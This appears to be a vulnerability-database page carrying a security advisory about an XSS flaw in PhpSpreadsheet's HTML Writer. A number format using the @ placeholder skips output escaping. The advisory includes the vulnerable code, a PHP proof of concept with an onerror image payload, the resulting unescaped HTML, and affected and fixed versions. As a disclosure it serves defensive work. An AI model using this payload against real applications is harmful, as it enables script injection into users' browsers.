GIVE YOUR AGENT THE EVIDENCE

Set up in your agent.

One prompt to get started. Paste it into your coding agent to connect cve.new through MCP and bring vulnerability context into your workflow.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GIVE YOUR AGENT THE EVIDENCE

Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

All vulnerabilities
GHSA-6wpp-88cp-7q68medium5.3

PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer

Check your stack

The advisory, in context

Summary

The HTML Writer in PhpSpreadsheet bypasses htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items" or "Total: "@). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.

Details

1. Conditional escaping in Html.php:1586-1594

$cellData = NumberFormat::toFormattedString(
    $origData2,
    $formatCode ?? NumberFormat::FORMAT_GENERAL,
    [$this, 'formatColor']
);

if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());
}

htmlspecialchars() is only called when $cellData === $origData (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.

2. Early return in Formatter.php:136-152

if (preg_match(self::SECTION_SPLIT, $format) === 0
    && preg_match(self::SYMBOL_AT, $formatx) === 1) {
    if (!str_contains($format, '"')) {
        return str_replace('@', /* raw value */, $format);
    }
    return str_replace(/* ... preg_replace with raw value ... */);
}

When the format code contains @ with additional literal text (e.g., @ "items"), the formatter substitutes the raw cell value into the format string and returns early — the formatColor callback (which would have applied htmlspecialchars) is never invoked.

PoC

test.php

<?php

require '/app/vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

$payload    = '<img src=x onerror=alert(document.domain)>';
$formatCode = '@ "items"';


$sheet->setCellValue('A1', $payload);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);

$writer = new Html($spreadsheet);
$html = $writer->generateHTMLAll();

file_put_contents('/app/output.html', $html);

echo "HTML output saved to /app/output.html\n";

The produced output contains unescaped data.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" />
      <title>Untitled Spreadsheet</title>
      <meta name="author" content="Unknown Creator" />
      <meta name="title" content="Untitled Spreadsheet" />
      <meta name="lastModifiedBy" content="Unknown Creator" />
      <meta name="created" content="2026-04-02T16:34:44+00:00" />
      <meta name="modified" content="2026-04-02T16:34:44+00:00" />
    <style type="text/css">
[..SNIP..]
    </style>
  </head>

  <body>
<div style='page: page0'>
    <table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'>
        <col class="col0" />
        <tbody>
          <tr class="row0">
            <td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td>
          </tr>
    </tbody></table>
</div>
  </body>
</html>

<img width="719" height="716" alt="Screenshot 2026-04-02 at 18 45 53" src="https://github.com/user-attachments/assets/b758b063-a2d1-4e76-87bb-931eae81dbfe" />

Impact

The impact changes based on the way the HTML is served. In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

Ecosystem versions

From 4.0.0 before 5.7.0

Fixed in 5.7.0

14 explicitly affected versions

4.0.0, 4.1.0, 4.2.0, 4.3.0, 4.3.1, 4.4.0, 4.5.0, 5.0.0, 5.1.0, 5.2.0, 5.3.0, 5.4.0, 5.5.0, 5.6.0

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "4.0.0"
        },
        {
          "fixed": "5.7.0"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "4.0.0",
    "4.1.0",
    "4.2.0",
    "4.3.0",
    "4.3.1",
    "4.4.0",
    "4.5.0",
    "5.0.0",
    "5.1.0",
    "5.2.0",
    "5.3.0",
    "5.4.0",
    "5.5.0",
    "5.6.0"
  ]
}
Ecosystem versions

From 3.3.0 before 3.10.5

Fixed in 3.10.5

15 explicitly affected versions

3.10.0, 3.10.1, 3.10.2, 3.10.3, 3.10.4, 3.3.0, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.9.0, 3.9.1, 3.9.2, 3.9.3

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "3.3.0"
        },
        {
          "fixed": "3.10.5"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "3.10.0",
    "3.10.1",
    "3.10.2",
    "3.10.3",
    "3.10.4",
    "3.3.0",
    "3.4.0",
    "3.5.0",
    "3.6.0",
    "3.7.0",
    "3.8.0",
    "3.9.0",
    "3.9.1",
    "3.9.2",
    "3.9.3"
  ]
}
Ecosystem versions

From 2.2.0 before 2.4.5

Fixed in 2.4.5

18 explicitly affected versions

2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.10, 2.3.2, 2.3.3, 2.3.4, 2.3.5, 2.3.6, 2.3.7, 2.3.8, 2.3.9, 2.4.0, 2.4.1, 2.4.2, 2.4.3, 2.4.4

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "2.2.0"
        },
        {
          "fixed": "2.4.5"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "2.2.0",
    "2.2.1",
    "2.2.2",
    "2.3.0",
    "2.3.10",
    "2.3.2",
    "2.3.3",
    "2.3.4",
    "2.3.5",
    "2.3.6",
    "2.3.7",
    "2.3.8",
    "2.3.9",
    "2.4.0",
    "2.4.1",
    "2.4.2",
    "2.4.3",
    "2.4.4"
  ]
}
Ecosystem versions

From 2.0.0 before 2.1.16

Fixed in 2.1.16

16 explicitly affected versions

2.0.0, 2.1.0, 2.1.1, 2.1.10, 2.1.11, 2.1.12, 2.1.13, 2.1.14, 2.1.15, 2.1.3, 2.1.4, 2.1.5, 2.1.6, 2.1.7, 2.1.8, 2.1.9

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "2.0.0"
        },
        {
          "fixed": "2.1.16"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "2.0.0",
    "2.1.0",
    "2.1.1",
    "2.1.10",
    "2.1.11",
    "2.1.12",
    "2.1.13",
    "2.1.14",
    "2.1.15",
    "2.1.3",
    "2.1.4",
    "2.1.5",
    "2.1.6",
    "2.1.7",
    "2.1.8",
    "2.1.9"
  ]
}
Ecosystem versions

Earlier releases before 1.30.4

Fixed in 1.30.4

61 explicitly affected versions

1.0.0, 1.0.0-beta, 1.0.0-beta2, 1.1.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.13.0, 1.14.0, 1.14.1, 1.15.0, 1.16.0, 1.17.0, 1.17.1, 1.18.0, 1.19.0, 1.2.0, 1.2.1, 1.20.0, 1.21.0, 1.22.0, 1.23.0, 1.24.0, 1.24.1, 1.25.0, 1.25.1, 1.25.2, 1.26.0, 1.27.0, 1.27.1, 1.28.0, 1.29.0, 1.29.1, 1.29.10, 1.29.11, 1.29.12, 1.29.2, 1.29.4, 1.29.5, 1.29.6, 1.29.7, 1.29.8, 1.29.9, 1.3.0, 1.3.1, 1.30.0, 1.30.1, 1.30.2, 1.30.3, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.5.2, 1.6.0, 1.7.0, 1.8.0, 1.8.1, 1.8.2, 1.9.0

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "fixed": "1.30.4"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "1.0.0",
    "1.0.0-beta",
    "1.0.0-beta2",
    "1.1.0",
    "1.10.0",
    "1.10.1",
    "1.11.0",
    "1.12.0",
    "1.13.0",
    "1.14.0",
    "1.14.1",
    "1.15.0",
    "1.16.0",
    "1.17.0",
    "1.17.1",
    "1.18.0",
    "1.19.0",
    "1.2.0",
    "1.2.1",
    "1.20.0",
    "1.21.0",
    "1.22.0",
    "1.23.0",
    "1.24.0",
    "1.24.1",
    "1.25.0",
    "1.25.1",
    "1.25.2",
    "1.26.0",
    "1.27.0",
    "1.27.1",
    "1.28.0",
    "1.29.0",
    "1.29.1",
    "1.29.10",
    "1.29.11",
    "1.29.12",
    "1.29.2",
    "1.29.4",
    "1.29.5",
    "1.29.6",
    "1.29.7",
    "1.29.8",
    "1.29.9",
    "1.3.0",
    "1.3.1",
    "1.30.0",
    "1.30.1",
    "1.30.2",
    "1.30.3",
    "1.4.0",
    "1.4.1",
    "1.5.0",
    "1.5.1",
    "1.5.2",
    "1.6.0",
    "1.7.0",
    "1.8.0",
    "1.8.1",
    "1.8.2",
    "1.9.0"
  ]
}

References